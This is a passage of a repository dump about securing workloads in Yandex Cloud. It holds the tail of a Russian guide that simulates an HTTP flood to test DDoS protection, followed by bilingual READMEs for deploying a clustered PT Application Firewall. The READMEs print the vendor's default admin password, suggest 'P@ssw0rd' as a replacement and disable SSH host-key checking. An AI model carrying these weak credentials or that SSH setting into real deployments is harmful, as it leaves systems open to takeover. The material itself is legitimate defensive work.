ssl: false
uris:
- /
core: {}
cloudloader:
enabled: true
package: yandextank.plugins.CloudUploader
job_name: omgplease.tk
job_dsc: ''
ver: '1'
api_address: loadtesting.api.cloud.yandex.net:443
```
!Необходимо изменить порт 80 на 443 в случае использования https
7) Нажмите **Создать**
8) В результате запустится нагрузочный тест, отчет которого можно посмотреть провалившись в тест и выбрав кнопку **Отчет**
9) В целевой системе защиты от DDos вы увидите оповещение об атаке типа **HTTP Misuse/Flood**. Атака по протоколу HTTP. Направлена на перегрузку HTTP-сервиса большим количеством запросов.
================================================
FILE: vuln-mgmt/unmng-waf-ptaf-cluster/README.md
================================================
# Fault-tolerant operation of PT Application Firewall based on Yandex.Cloud
Purpose of the demo: Install PT Web Application Firewall (hereinafter, PT WAF) in Yandex.Cloud in a fault-tolerant configuration.
## For a detailed workshop analysis, see the video:
[](https://www.youtube.com/watch?v=tnGuyIXNL6o)
## Table of Contents:
- Description
- Deployment
- Description of the steps of working with PT WAF
- Checking the traffic flow and fault tolerance
- Additional materials: configuring PT WAF clustering and Application Load Balancer
## Description:
Steps to be completed during the workshop:
- Installing the infrastructure using Terraform (Infrastructure as a Code).
- Installation and basic configuration of PT WAF Cluster in two Yandex.Cloud availability zones.
Fault tolerance is provided by:
- Clustering of the PT WAF in Active-Active mode
- Balancing of traffic using External-LB Yandex.Cloud
- Using Cloud Function in Yandex.Cloud to monitor the status of PT WAFs and, if they fail, direct the traffic to applications — `BYPASS`.
#### Environment scenario:
It is assumed that in Yandex.Cloud, the client has already deployed an unsafe external scenario of publishing a VM, that is, a VM running web applications in two availability zones. It also runs an external network load balancer.
> To implement the entire diagram from scratch, use the playbook in the from-scratch folder
#### Diagram before:
#### Diagram after:
## Preparation and prerequisites
- Install and configure [YC CLI](https://cloud.yandex.ru/docs/cli/quickstart).
- Install [Terraform](https://www.terraform.io/downloads.html ).
- Install [jq](https://macappstore.org/jq/).
## Deployment
#### Terraform deployment:
- Download an archive with files [pt_archive.zip](https://github.com/yandex-cloud/yc-architect-solution-library/blob/main/security-solution-library/unmng-waf-ptaf-cluster/main/pt_archive.zip).
- Go to the folder with files.
- Add relevant parameters to the variables.tf file (comments indicate the necessary yc commands to get the values).
- Execute the Terraform initialization command:
```
terraform init
```
- Execute the load-balancer import command:
```
terraform import yandex_lb_network_load_balancer.ext-lb $(yc load-balancer network-load-balancer list --format=json | jq '.[].id' | sed 's/"//g')
```
- Execute the Terraform startup command:
```
terraform apply
```
- Enable NAT on *ext-subnet-a* and *ext-subnet-b* (so that PT WAF can go online for updates and activate the license).
- Assign the security group `app-sg` to the VM *app-a* and *app-b*.
[
](https://www.youtube.com/watch?v=IOYw4fdn69A)
##
## Steps for working with PT AF
Video instructions:
- Forward SSH ports to connect to PT AF servers (**needs to be executed in two different terminal windows**):
```
ssh -L 22001:192.168.2.10:22013 -L 22002:172.18.0.10:22013 -L 8443:192.168.2.10:8443 -L 127.0.0.2:8443:172.18.0.10:8443 -i ./pt_key.pem yc-user@$(yc compute instance list --format=json | jq '.[] | select( .name == "ssh-a")| .network_interfaces[0].primary_v4_address.one_to_one_nat.address '| sed 's/"//g')
```
This opens the SSH terminal (broker machine) — leave it open.
## Configuring PT AF clustering
### Setting up the master server
- Connect to ptaf-a:
```
ssh -p 22001 -i pt_key.pem yc-user@localhost -o StrictHostKeyChecking=no
```
- List the current DB password:
```
sudo wsc -c 'password list'
```
- Execute the cluster autoconfiguring script:
```
/home/pt/cluster.sh
```
### Setting up a Slave server
- Connect to ptaf-b:
```
ssh -p 22002 -i pt_key.pem yc-user@localhost -o StrictHostKeyChecking=no
```
- Set the DB password from the previous step:
```
sudo wsc -c 'password set '
(it must be the same as the password on the master node)
```
- Execute the cluster autoconfiguring script:
```
/home/pt/cluster.sh
```
### Creating clusters
- First, run synchronization on the Slave server using the commands:
```
ssh -p 22002 -i pt_key.pem yc-user@localhost -o StrictHostKeyChecking=no
sudo wsc
Enter 0
config commit
```
- Wait for the message on the Slave server: `TASK: [mongo | please configure all other nodes of your cluster]`. After that, switch to the Master server and start syncing with similar commands:
```
ssh -p 22001 -i pt_key.pem yc-user@localhost -o StrictHostKeyChecking=no
sudo wsc
Enter 0
config commit
```
> If the *config commit* command fails on the Master, apply the command again.
- Next, the configuration on the Master node stopped at the message: `TASK: [mongo | wait config sync on secondary nodes]`. Manually execute the command on the Slave node: `config sync`.
- On the Slave, run:
```
config sync
```
- On the Master, run:
```
config sync
```
- On the Master, run:
```
mongo --authenticationDatabase admin -u root -p $(cat /opt/waf/conf/master_password) waf --eval 'c = db.sentinel; l = c.findOne({_id: "license"}); Object.keys(l).forEach(function(k) { if (l[k].ip) { delete l[k].ip; l[k].hostname = "yclicense.ptsecurity.ru" }}); c.update({_id: l._id}, l)'
```
[
](https://www.youtube.com/watch?v=zuTxyEeM7Vg)
#### Configuring traffic processing
- Open in the browser: https://127.0.0.1:8443
- Enter the standard login **admin** and password **positive**, change the password, for example, to `P@ssw0rd`.
- Open the tab Configuration → Network → Gateways by clicking on the pencil icon (Edit).
- On each of the gateways, select the **Active** option.
- On each of the gateways, on the **Network** tab, define the aliases `mgmt`, `wan`, `lan` for the `eth-ext1` interface.
- Create an upstream on the tab Configuration → Network → Upstreams:
- Name: `internal-lb`
- Backend Host: *enter the address of the Yandex.Cloud internal load balancer*
- Backend port: `80`
- Create a service on the tab Configuration → Network → Services:
- Name: `app`
- Net interface alias: `wan`
- Listen port: `80`
- Upstream: `internal-lb`
- Edit an existing *Any* web application on the Configuration → Security → Web Applications tab:
- Service: `app`
[](https://www.youtube.com/watch?v=lCFnHanCSSE)
## Checking the traffic flow and fault tolerance
- Look at the external IP address of your external load balancer.
- Disable *ptaf-a* and make sure that the traffic is passing.
- Disable *app-a* and make sure that the traffic is passing.
- Disable *ptaf-b* and make sure that `BYPASS` applies and the traffic switches over directly to the internal load balancer.
- Turn on *ptaf-a*, *ptaf-b*, and make sure that traffic goes through *ptaf* again.
[](https://www.youtube.com/watch?v=DQYzXVKVVjg)
# Additional materials
## Setting up Yandex Application Load Balancer
In this model, you can use [Yandex Application Load Balancer](https://cloud.yandex.ru/docs/application-load-balancer/).
There are detailed instructions on [enabling a virtual hosting](https://cloud.yandex.ru/docs/application-load-balancer/solutions/virtual-hosting)
(including integration with Certificate Manager to manage SSL certificates).
================================================
FILE: vuln-mgmt/unmng-waf-ptaf-cluster/README_RU.md
================================================
# Отказоустойчивая эксплуатация PT Application Firewall на базе Yandex.Cloud
Цель демо: Установка PT Web Application Firewall (далее PT WAF) в Yandex.Cloud в отказоустойчивой конфигурации.
## Подробный workshop-разбор на видео:
[](https://www.youtube.com/watch?v=tnGuyIXNL6o)
## Содержание:
- Описание
- Развертывание
- Описание шагов работы с PT WAF
- Проверка прохождения траффика и отказоустойчивости
- Дполнительные материалы: настройка кластеризации PT WAF и настройка Application Load Balancer
## Описание:
В рамках workshop будут выполнены:
- установка инфраструктуры с помощью terraform (infrastructure as a code)
- инсталяция и базовая конфигурация PT WAF cluster в двух зонах доступности Yandex.Cloud
Отказоучстойчивость обеспечивается за счет:
- кластеризации самих PT WAF в режиме Active-Active
- балансировки траффика с помощью External-LB Yandex.Cloud
- использования Cloud Function функции в Yandex.Cloud, которая отслеживает состояние PT WAF и в случаи их падения направляет траффик на приложения напрямую - `BYPASS`
#### Сценарий окружения:
Предполагается, что в Yandex.Cloud у Клиента уже развернут небезопасный сценарий публикации ВМ наружу: ВМ с веб приложениями в 2-х зонах доступности. Также имеется внешний сетевой балансировщик нагрузки.
> Для установки целой схемы снуля необходимо использовать playbook из папки "from-scratch"
#### Схема до:
#### Схема после:
## Подготовка/Пререквизиты:
- установить и настроить [yc client](https://cloud.yandex.ru/docs/cli/quickstart)
- установить [terraform](https://www.terraform.io/downloads.html)
- установить [jq](https://macappstore.org/jq/)
## Развертывание
#### Развертывание terraform:
- скачать архив с файлами [pt_archive.zip](https://github.com/yandex-cloud/yc-architect-solution-library/blob/main/security-solution-library/unmng-waf-ptaf-cluster/main/pt_archive.zip)
- перейти в папку с файлами
- вставить необходимые параметры в файле `variables.tf` (в комментариях указаны необходимые команды yc для получения значений)
- выполнить команду инициализации terraform
```
terraform init
```
- выполнить команду импорта load-balancer
```
terraform import yandex_lb_network_load_balancer.ext-lb $(yc load-balancer network-load-balancer list --format=json | jq '.[].id' | sed 's/"//g')
```
- выполнить команду запуска terraform
```
terraform apply
```
- включить NAT на subnet: *ext-subnet-a*, *ext-subnet-b* (для того, чтобы PT WAF мог выходить в интернет за обновлениями и активировать лицензию)
- назначить Security Group `app-sg` на ВМ: *app-a*, *app-b*
[](https://www.youtube.com/watch?v=IOYw4fdn69A)
##
## Описание шагов работы с PT AF
Видеоинструкция этапа:
- пробрасываем порты по SSH для подключения к серверам PT AF (**нужно выполнять в двух разных окнах терминала**):
```
ssh -L 22001:192.168.2.10:22013 -L 22002:172.18.0.10:22013 -L 8443:192.168.2.10:8443 -L 127.0.0.2:8443:172.18.0.10:8443 -i ./pt_key.pem yc-user@$(yc compute instance list --format=json | jq '.[] | select( .name == "ssh-a")| .network_interfaces[0].primary_v4_address.one_to_one_nat.address '| sed 's/"//g')
```
После этого вы окажитесь в терминале ssh-a (брокер машина) оставте его открытым
## Настройка кластеризации PT AF
### Настройка master-сервера
- подключитесь к ptaf-a:
```
ssh -p 22001 -i pt_key.pem yc-user@localhost -o StrictHostKeyChecking=no
```
- выпишите текущий пароль БД:
```
sudo wsc -c 'password list'
```
- выполните скрипт автоконфигурации кластера:
```
/home/pt/cluster.sh
```
### Настройка slave-сервера
- подключитесь к ptaf-b:
```
ssh -p 22002 -i pt_key.pem yc-user@localhost -o StrictHostKeyChecking=no
```
- задайте пароль БД из прошлого этапа
```
sudo wsc -c 'password set <мастер-пароль>' (должен совпадать с тем, который задан на узле master).
```
- выполните скрипт автоконфигурации кластера:
```
/home/pt/cluster.sh
```
#### Создание кластера
- сначала запустим синхронизацию на SLAVE-сервере использовав команду:
```
ssh -p 22002 -i pt_key.pem yc-user@localhost -o StrictHostKeyChecking=no
sudo wsc
Enter 0
config commit
```
- дождитесь когда на SLAVE-сервере появится сообщение: `TASK: [mongo | please configure all other nodes of your cluster]`, после этого переключитесь на MASTER-сервер и начните синхронизацию той же командой:
```
ssh -p 22001 -i pt_key.pem yc-user@localhost -o StrictHostKeyChecking=no
sudo wsc
Enter 0
config commit
```
> В случае, если на MASTER команда *config commit* завершится неуспешно, нужно применить команду еще раз.
- далее конфигурация на узле master остановилась на сообщении `TASK: [mongo | wait config sync on secondary nodes]`, просто вручную выполните команду config sync на узле SLAVE.
- на SLAVE выполнить:
```
config sync
```
- на MASTER выполнить:
```
config sync
```
- на MASTER выполнить:
```
mongo --authenticationDatabase admin -u root -p $(cat /opt/waf/conf/master_password) waf --eval 'c = db.sentinel; l = c.findOne({_id: "license"}); Object.keys(l).forEach(function(k) { if (l[k].ip) { delete l[k].ip; l[k].hostname = "yclicense.ptsecurity.ru" }}); c.update({_id: l._id}, l)'
```
[](https://www.youtube.com/watch?v=zuTxyEeM7Vg)
#### Настройка обработки траффика
- Открываем в браузере https://127.0.0.1:8443
- Вводим стандартные логин и пароль, **admin/positive**, меняем пароль, например на `P@ssw0rd`
- Открываем вкладку `Configuration -> Network -> Gateways`, кликая на иконку карандаша (Edit)
- в каждом из шлюзе устанавливаем галочку `Active`
- в каждом из шлюзе на вкладке `Network` определяем для интерфейса *eth-ext1* алиасы *mgmt*, *wan*, *lan*
- Создаем апстрим на вкладке `Configuration -> Network -> Upstreams`
- Name: `internal-lb`
- Backend Host: *впишите адрес внутреннего балансировщика яндекс облако*
- Backend port: `80`
- Создаем сервис на вкладке `Configuration -> Network -> Services`
- Name: `app`
- Net interface alias: `wan`
- Listen port: `80`
- Upstream: `internal-lb`
- Редактуируем существующее веб приложение *Any* на вкладке `Configuration -> Security -> Web Applications`:
- Service: `app`
[](https://www.youtube.com/watch?v=lCFnHanCSSE)
## Проверка прохождения траффика и отказоустойчивости
- посмотрите внешний ip адреса внешнего балансировщика нагрузки
- отклюим *ptaf-a* и убедимся, что трафик проходит
- отключим *app-a* и убедимся, что трафик проходит
- отклюим *ptaf-b* и убедимся, что `BYPASS` сработает и трафик переключится напрямую на внутренний балансировщик
- включите *ptaf-a*, *ptaf-b* обратно и убедитесь то, что трафик снова идет через *ptaf*
[](https://www.youtube.com/watch?v=DQYzXVKVVjg)
# Дополнительные материалы
## Настройка Yandex Application LoadBalancer
В данной схеме возможно использовать [Application LoadBalancer Yandex.Cloud](https://cloud.yandex.ru/docs/application-load-balancer/)
Существует подробная инструкция по [Организация виртуального хостинга](https://cloud.yandex.ru/docs/application-load-balancer/solutions/virtual-hosting)
(включая интеграцию с certificate manager для управления SSL сертификатами)
================================================
FILE: vuln-mgmt/unmng-waf-ptaf-cluster/images/ha-proxy.drawio
================================================
7V1rd6q60/80XeucF3ZxVXzprd3sR7AXbbe+Q6WIovj3UoFP/0xCQC6ptbug1kP3boHcSDKZycwvQ3LDN+bO/UpbThR7rFs3HDN2bvjmDcexLFOGCwpxSQjD8H6IsTLHJGwf8Gx6epCQhG7Nsb6OJdzYtrUxl/HAkb1Y6KNNLExbrexdPNmbbcXfutQMPRXwPNKsdOirOd5MgoaVq/uIX7ppTMirJa7iR8y1IDFpyXqije1dJIhv3fCNlW1v/Lu509At1HtBv/j57j6IDSu20hebYzJUe1rp/96f+w/OZtVbDYQXbsmVSCnvmrUlDSaV3bhBD6zs7WKso0LYG76+m5gb/XmpjVDsDogOYZPN3CLRYSMZeDAsbb0m9+uZvhlNyMObvdgQUrNleNZWo+ARRWvDtW1tN3ptH4wymZbVsC17Bc8Le6GjQjcre6YHgTccL0L/v71BTLpzgpbqq43uRIJIZ93r9lzfrFxIQmIDugUjNxiRu/0wEHgSNomMAFEggRoZekZY9J46cEMI9AViCZXrotbdHQ8/2VALBEuMXHwgeSLk4soUcpWFvKhVvi5qMUyjwTD5UIujMBedWhnwlrngajvvbuzW5mz/XVKG2qRU4q6LWFkKwlCgEWJVjhWEUl7EEq6LWDzLi7wEMWNtPQnrnAXlJDE+h0lp0rHCKdmMFVKU0segcJFHe7WZ2Ia90KzWPrS+pyXq532atm0vSWdN9c3GJd2ubTd2nL66Y27+kOzovo/ub0Xy1HQiUU03eFhAe//4CTkpCOhHY/cZ8VMs54O+MqHL9FUYOK4hdXQ/DCDkzkS91zwoVNf2djXSD3Qp0ac32srQSdYFb6znivhUebDvWvXasutqd4Gqh7r74NhZ6Za2Md/j+m/2AyGty9zecGVrQxgtNkbK/9vaQURpjalcgwSsuHT2kXBnoKsYFAP18kvyw6kDr60NwWKJDRbNMo0F3I+AEoh8dcRvJlgENRIxN8djf1zqUBdtiMtDNFza5mKDO0qs34hNKlUPckWKs0O7hrzlJmo60Dieua3wVT7O9P7T0WQlZT+gxuwLDibIoNBqvAD77W0Noy85KsIKfmOgiOeUGOyXJMa5WZzLmsVxVmiU5kYSkGH+4VCpMomxAuIzPjD8ErMdJmlt+z8sT8Ts5EmZrZTzkCdsrFBePJU84T/XHUEdXKJbc47BoZBgmLgP9trcmDYi3NDebOw5haIbJGXqOHttvfRhKawiBg9vpoOkU528oTnWNhqMQf+Ru1u/Gzdc3YEhxDUefqncwK0Lw1dnO/IYU/v1xIya9nubH/NjV+QVV3wfzUfvyrS2UxpVbzwfmfKv8XLw68l+eJY91ZQN7f5lOeAmTPA8nlvWmPn9rjcZU2nUdnJT4fCvWZ9rr8764fn3dsiJljwV5jI/mXQ8Z9f/82TL949VecY4nUbNU2eKq7qCqDZbTpi/KfPt6YxRui1D8fqG0p000bXTEHZq1xBUtxbJU4N4w1BaitCe1thO0+BxWKMWf0ZlNKL5jK3S7Amd5oi8A8rwBtq+7vJU7cqCMhvcyyZInvpvUxX63bU0ur9jtEZ9Bq1Tle4MclqyMm1tFUZxlWcB3tYS21MocSpvFagpeiu+tqClDQHeLENPyayfDlo47fm1w9f+tvNcI+laqCc8dH30ZLc9VVC8gd6lmjVHNQUG4h0/fCxDPV6Vrpqsixepi6P6dXHUsC4thtTF29flN6lLLVqXHanLbl+XWlgXpRGtyx2qS1PpjlB+R4FfoBhcBRHy4zq9TFtAYVVRujKkf3pF9e+89J1Oz3AUq+8qsx3OAxTnX6ay9+ihfDKD6+iX66pQLr72DNRWSIPeP0JtQHVyFVOA+sqkD2XUh35+3B89nE7xy3FxfzzjPGL4ninUDbVnivqD0BKV+yygMqEPHnH7cThjOLj+L7Yp3w+Ww/tdVV6Mbe3PkxUfPW0e+NATApHxPcOswgtxmUrBP/hy2i4LwjJXx8WUVHzeDhdIAjO6A9MW6E4lLSUoobWb/CY7pJWt95Z03GwmGlYGtCgnsCiqkcxSjGQuLyP5yoDD3OCNinQE5fKCN6gK+HnRjdA+6UdiPkc3voZt5GXjVNI2Dl235bM2cr6F8ovSx3bHeqkt/t7uQCInNDz8oi7J8Dg0/rOwO7hKNW4iCNnYHfGJNzSV8jc80oAXW+Fu2fItcwt9ccelZcclCnmQ52NNl95GNElfHkn6MKNVh0r18yUiljvltJzm9LSONLxOHalSPWIh4aQ6Epv2XHithSD3tRrzSsKYV+jGvIt/jzPmd76ZWjPAwHbUqcKAqQkmXotTvEfGN8DB7Lrr73wzzPBUZIY1avDuaDr0zhYH5iGUhe4jaaeP205T4cC0Q3kcfLX6njJTEvlr0bS7oLxXaONgbq2H0D7Z67md5u/7J1N+fzD7U/2+VXn4VZ+M7w1jAPHdrgzlIHPa2IIJiM1v31wfMdiEfoY2dnu++dd8JHEz38wHs1vBpi2q8xMycSHNiPfN4xEyNZG5LKjNWP5dpHyIx6avq3iD1w4yb62lqnTBXPVmyASH9loK0HYLprBITHcw6XculOsoTQRJKKhcBsxmVK8dMsHBtBUUD8zj7myrTrHJ76L6oL7sgPmseMi0lrcqtNXPV/Ow2W6i9iAz3YC4vuPnMzxinrNq9zF8X7fZYttTRURtUE2ofxP1wyPU8xGZ/UDLGavOoP2uIEJbDBSneo+kDX3OhygEREu/TK8v+vn6Hu43V9ipXs/PB2OM1CUoR/CfeyIeHw1BVLsD3P9qV0b1hrqBqY+gBWhvp6v4UMJXTPbsjY8yX42JRJ5NO5zwXFoiBmHZS0QuJRFfHhrXOR9VE85ZZY7ik3DS6SgNK6Pp6Mqx5WI6KqajYjq6iOlISiDKp5yOqFAAT4UpCijsCCgs8HP/FAo7m0sPHQo74NLz34PCAoXg21BYibllpRMswZ8MCEtb7mwVAWFSgYTRvTgT4Mv5kTCO9iHCJ4w+8jsHMfnKGGr/QN3gP7yfod7dSuK/6An1IIOFxJs2Ny3XLwGK1eZLHMnDxMfX3TUSmMi0ScaERaZiJrr1riMpAJELHRpyfFZtZWrW373qozxrbbEurfWV+RZvdkQ28kg2krihNpoZmC1K8Z79hxPFsNDE/b8U0VqRbllRuOUY4ZblpWPl7FVYkeVqJcZYpwQ1qTNopXI5SlOoJ31JaWK/qTRRvjpBP99Sp3jK0mKrtyuvd03mf/2a3pa9R83kdsG6+4WoU5VqbuqUeNHq1EHWyGJpkWGrmepT4VriqTQoPj3/vihXvvSRrR8jttM3o8XLetBlzMGfgTWcV2eDhmz0OWc5arDu+NWxIL81nr9AGU8zKJN4DmKfReyPqCAMAflCmthnkVOf8b3TaSnouk8zHW07XYX169cS0PXRQ36MfRJWi6QJfR6DMoPrzs9bP97XEadq//nNDu97VXn+wg1exffB/aMp36tr7U+N2gM+coXQIYSEyGx7avAKs0N+gKzi+9chBMl59FpOewqU8P3vXAX51SHPz2lr28E1Rd6aCK16FNS7PkJSWKX71MRpENLS7OE00Lod8gmEeEZpIoQIoVktgvQojNpCPoUC6yNWEwWhLWpzJpK6CQjRgXim00VolB+mNH1URm0anO8rKAiq1yeoV6RdVp/EqRq0GXra9y/sNA3W93WE9yEUsGs4+/pgH0wRqOWSMLif+WhhdyYGbVG7fYH4aEKangN9gFA9ptN88v00w35C6OSIU92gH32UEuoe9LXbbeK6uWG9ZzuMmoV98IKQvRF+P0Iq29OZp/YwzTg8ArvKVu0+Ot2w/a1de9py1R7uO16dGkbnGSFdBkb5fNSwlwzz6d9FiKHMdnG9FQ4jjUAfQie/L5A/LIzmKFo65ibL8X3PbHsBN+7eR/xg8WAgcZXTIk1cwxNFMaXi5eVnSZ/GpELDy17DY7nqkSpe9aJUvMDgKFS8KG/kouJxP0zFC4d0TMe78vXEQscrdLxCxyt0vC/peFKwhHkpOl6wNdSP0vEqmSp531DlAmp+vvqZtSr3Vx87V8T46OMriV24EunLiS05Eum//XE0XbNKL7llpWeyP0/PDPgzk68UBCa+ilr6JpZIShbi2quYkFWZ6J30oXJev42o6Dp+gxahUo5KL7RiDmIkh11acjFeaRKParxKF2W8Vs76sdvXNubYQxmCmBgpTEW4vpFyPs+gwxUvdl0odl0odl0odl24jF0XeIk7maV4yOGg+ND/i/sYCuIJP/SnUo7yMS/xYWQLH8YjfBgFmq9VXj6Mh5TpCAVryyWiGP6m92o3Own82Q5wUvWUZEivcvwIxjn7XifnF4FsevESb2hQKdy4j9rQ4PwikPINfUwGXulmBhLzuTaRlww8tDNvYRwXxnFhHBfG8XmM43JiIYO2zX9exvGhzYwLqVhIxUIqFlLxPFJRkuKQIe0bsZM6l/zE5dkvfVb/IdGiy2P0Bcmb1OIYvQuJ+p+x50hqDf/DQ46CIvyaklzZL+X/oIMTLnaoZP5JIH2ohCsRwVBhTjtU0nB2e1jCX1MXGlehcRUaV6FxnUzj4ti4KAw/hDiXxiWkVa6cZsnKsdPkaSZJlnLsEDVhgPRfiGMaZS++h26xN2yxGV+xGV+xGd9JNuNjg+PxzrAZH10kpk9Mvdq9YYWE2X3KvWHpCsRhR2nS8pxAmmN1CvZEOoX4Q3WK9AFJWKe48jWJQqcodIpCp7gInYJnz7fBL11Cpxdoi02oig0Kig0Kig0Kig0K4tZgYhOqEx72SZfcaYCs2FqmkNyF5C4kdyG54zo3c1mSO/BUP7FPR9b+GZ+iP8KJXHQ4PvFNRiUBAvqAVm5+F1wal20PS8HLism4cLwoHC8Kx4tTOV7EASaBoQBMJ3V1vaB91PI5Qurv11H4Y9dRLuy4dCGtwGRIscrxJPt+1+fuE5o44zIEfE/kE8qnl7wKraTQSgqtpNBKTqiVJMFTjuLNcVp30PQS14VqJd+Y4k712UNi617+xF/I8EdswFRMccUUV0xxxRSX3xSX9Ow4/xSXloLfnsA+7KdTm1GceBzEm/6cU0zYY0mH0ZwnK+EIe+wSN1j6aKsskZO4t4z2Vkp+aisyQoqFwp2wojxUyY2H0vvLffGIXPoJuV85FPfwqbPUI2a5yBGzfpxfSxS5sFdzdOptNHpH+hLFC349caQFwkBflaCpI3NhUPMjZ/MS8S9H0cTFPBZtwmhekOKZSNVw5GalLdZvUGhQPIyzIMHOXo3jb49mP3B4LqJbcGCuUN3fi5GeH5vrpaWRXjcXlhl58Ztla5tohZI75v+qlR5WtuN+8aTdT3g5Ax7ikp+rc+lzNGgsxOflNy8esS/WxQu8V9J56S8egBer+CeHhetKfIczlrKXD3WrOSGL3QLpxEx7ixbEPJIxy9LFUTO9bn3ceSLFfPXT5quArqj7UKvDAb9PyA/xv3Tegd/EWmSu84uJF30xU2ASbCwzaU477RRI0/kLPiv4jMpn9Z/CZzzDXRaflc8L6t98Ya8keEifRRO6H1R5/ibqgHBblUKPhKwO7A0VHerBOB8Oj09XHQKKn/7kt++NnbQulNXhaj/wbLWPZMGXz1YrMbc8UyV9+10MMCZtQp+Y/E9TK6eNnEvdg+2wXGGkpFzhylcnVyqXJVfSut9/WK4E8EEmcqUSQFvflCvxQxpLSQetHOVK+uyFY/RHwmGpAfFSApmDlewP9MfEuEgtXWO66qvWu+6TNwXQhJgIEx9K1E1ArMTSemqcfXHtPTVegzX9uWOAeju5na9Hmn6LY5crc63fGtpG3yFNPnlURAP/ZKMFVxLeD1w57XBL26hEyEsLlo4AXNNSPUXNKEq2x9uk1AQATySOx3m11Sb2/NHRKh92/aeCO9KxIqVjg7BvSgUxCaT/5YJjspxy8uOUnBccgz1JKUJmbL5Tp58PbHcqpICmJiyCvmoIgz2u/bNfGYtebiWRqUoMX+VYsSyV+X+jxTNv2iheXXdNMAM/ewQXYRY6tBmHaisToROJBOhxrS3WpTXoKW+x1xw3Kx9q+pem98+QC4Qh+VDF/uZf+uuBLWss+lsXb4B9YQCQe/jr3zM4/A7BGuiGxX/FSLIGSfaRhvEZQIFH1rfwiSjkLwbPpBAhC7GdYEs+jV1Q0fjcwAsp/Tn3X/LpR+gfVYv8j/BpNkx6BMKI2JOJsCoT4VYqq1bx33oL/+XxXwnzYyXCwj471wrmvYmvnR1gXprOlR/z0lbSfvK6aGz1M6XE1fG/bPRnsRpfrWEpX2dTJbHI83lR8xp8tM5DTSkxrV4CNWnu4cXqW7H69rNXucvBh7WBXRng4edafZPSx08UfFbw2U9f5ZaC3T3y5zN4XNmos/b4DwI2FXuMsPvW/wM=7Rxrd6q68td0rXs/tIun1Y8otJu9GqwttrXfEBF5KB7FCvz6O5MEFLWP/bDd+1zPo8okmUzmlRkm8UzuTLPrhTOfkGTkxWeSMMrOZP1MkiSh0YAPhOQMIkoNlUH8RTDisA3gPig8DhQ4dBWMvGWtY5okcRrM60A3mc08N63BnMUiWde7jZO4Puvc8b09wL3rxPvQx2CUTjhUbLQ2Dd+8wJ/wqZvSJWuYOmVnvpLlxBkl6y2QbJzJnUWSpOzbNOt4MXKv5Esx+yfv9vpBR1vI2bwRqWSYnDNkVz8ypFrCwpulP436xZuer5e3eSbY3kKNzM7j+PFcURjuFydecYbxxaZ5ycFFspqNPMQinsnt9SRIvfu542LrGpQGYJN0GvPmikkCPPixs1zy78vIS90Jfxgns5SritiAZ2fhlo/Y7AyXSbxKPW0DxkFBHHeSOFnA8yyZeYg0XSRRJVfsNHKWk4pW1lyOOZPkNv0XWviqvUXqZTt68g6TxUryYDNeMvXSRQ7jOJZWkysLNxdF4M/rLd0rYZMttZPKgQ7Xd7/CvZEpfOFi/RERyycR/04RX7bqIpZbh0R8eUDErWOJWPgXSHhLhCo44fH4iCJsKDsiFPdF2FAPWKl8NBHuS8wbwT7GH5NFOkn8ZObExgba3sgU+b3pc5Mkc87u0EvTnLPfWaVJXc5eFqRPfDh+H+D3C5U/6dlWk56XD7ORhtvyRn4AuQpwtbwd2PG0QYSPg+22DVr6lG8/3XqLAPjpLTiQMQU58RPiB24mq4XrveUbeUDiLHwvfaOf/Io+LbzYSYOXOnWHdIMPvU0CoLvSw6as1ncLsVlHwQjjo3Y0rCLj55VO/kqlE3+j0v0xeqL8Dj2BpTr5Voc5yn/5uhqJgtSq+7NGc0ddGMpXhzcvBGlHE1ufqon7YaiXpfFwTz9hZ5rj12BKw/427g0BBPs3ztCLb5NlkAbJDNqHSZom060OWhz42JCilrbpcG05ZwkH3a3Kh3GQoXa3+Qz6yEmdM1ljj9LV8sU/k9oZaLPUuf1mSc95Wxk+Ziu3EALn253g6snLjTySR7kqk1x9cafuCwm1Nem0itHUDcxvo/nzt7vk9t4srMD0neuH+bM0Ecrn0TSOR8L3F08XAtLR1qZOJPp/0J46j9ny9v77aiipsRkqU1OeTLpFth483SXmda9lRkLW7WiFFZHcyhXV0o2sGq+b8k0YCcQ2fFIMfGJPdPzsdpS1ZfuKlWtbYzRo931iEOUm1MSu7ssU1tHqz4ijsz3OXxG9r3R1l88BOIpnZ0O7GVq2qZDo+doMQEXb3wNLGdjLpnt9JTiddgSrs4gdwcjYJKGxIgLJyb0CsxnqTQgYQ3NFgFKclX4asNKOAjObwClTZP1ghWGfUUc/B6vuvcb7GciJAj97hZnfhATbfZzLCrTMChQB2jMGH5lAxyOxrV1aii1aMovRklkVLYbAaSk2tHzntGjbtKw5LesNLVpFC+ls03KFtOjEdnF8RuB/kBh8KiqMpzQ9hAZI2CLENqH/3SPS330YZN2+n5F4kJNoTceAxOWH0Cx6BY4zBUojw5tbgJd+9n1cK/TB+V1cA9KUk0ABek3OQxN5yMZTfvRpP8Lw5JQf93SMWs0TAm24nhD5wWWJeO8VxAk86NH1U7jgZ5T+hyQwr5/nw+t1y5yNEufpLq5rz40MdlgoZeR7jLROVOoOVt0PGOXGgXixcaRwUZT2HObDbWfPXQIb0vru63A/6AI7MMzac5DTYDRiG723DApnSFGhh+S7EOBV22eqjrhgb19uQvt6HM/36WNJRBR30rDGpbwnEuVQon2sCF68PJCFNWLk/3LuzGqCafyzwrdGbZcxS8MQwR86/wHa4D+YXzj47aKp/hefkK0Cpl/nY2caxDnDAGid6Zw2yhCIyO18iTELqsBuS4Vyr2XixS8eKgQ0zjxYyMeHOovAiX9uqtfGLJ3Z8nwJScG4vmymdbhoUZ5nVdvQcSOfBqjndc7+R1LVCunO9/9uxAHffPwUL5sXoqpcSIJyIcrNUoy4/VNJsl7/R9bWvLys+z/pwDsP8VOtrfmlCXOVr1Sp7Ru5y+GEWHw3IX4759l7bSLQfz4hGyqF+m46xNKSX0iHfk1FWnsO+eJdj7zrXlR0L3v+Qf2oS0Ah0NzkeH7hVZvnFRU++KyyxW09eMO2XnUGwoUgtho1f8Bn/NnXIRzL+c6IZDxeekdJN6X9N6bOfH7unPLNj+ebNCJP3dnD8tkWguen53g4bUXPHdMfSNnc7Yj56DGLYXw8mj4AjrsIcPIMj+aWNG8kRR/zSqCF5pYSZAz4PesaBD83fULIUGwiMvoMBT97BeabAw7TtvpUuWmJs/xcs7Htj+ektNfN03dxeN1vmdMH6flRfXm+7kFOYi2dJ+0gB56Bm7aN+VhPwVzwJvRlIqwxXxMJy4NWpIgyyMEgvwJJsDwpJ5j/YIYOOVCXUopZNeZgPcW6GkCuCePtO532sXsrC7Jt7AOrW2PuBu0C0TH/gxyK5YWQdxHBMjD3UzAnBZomBPM9S49UTpsCuRq2C10b81YGIzrxWT9fYjmd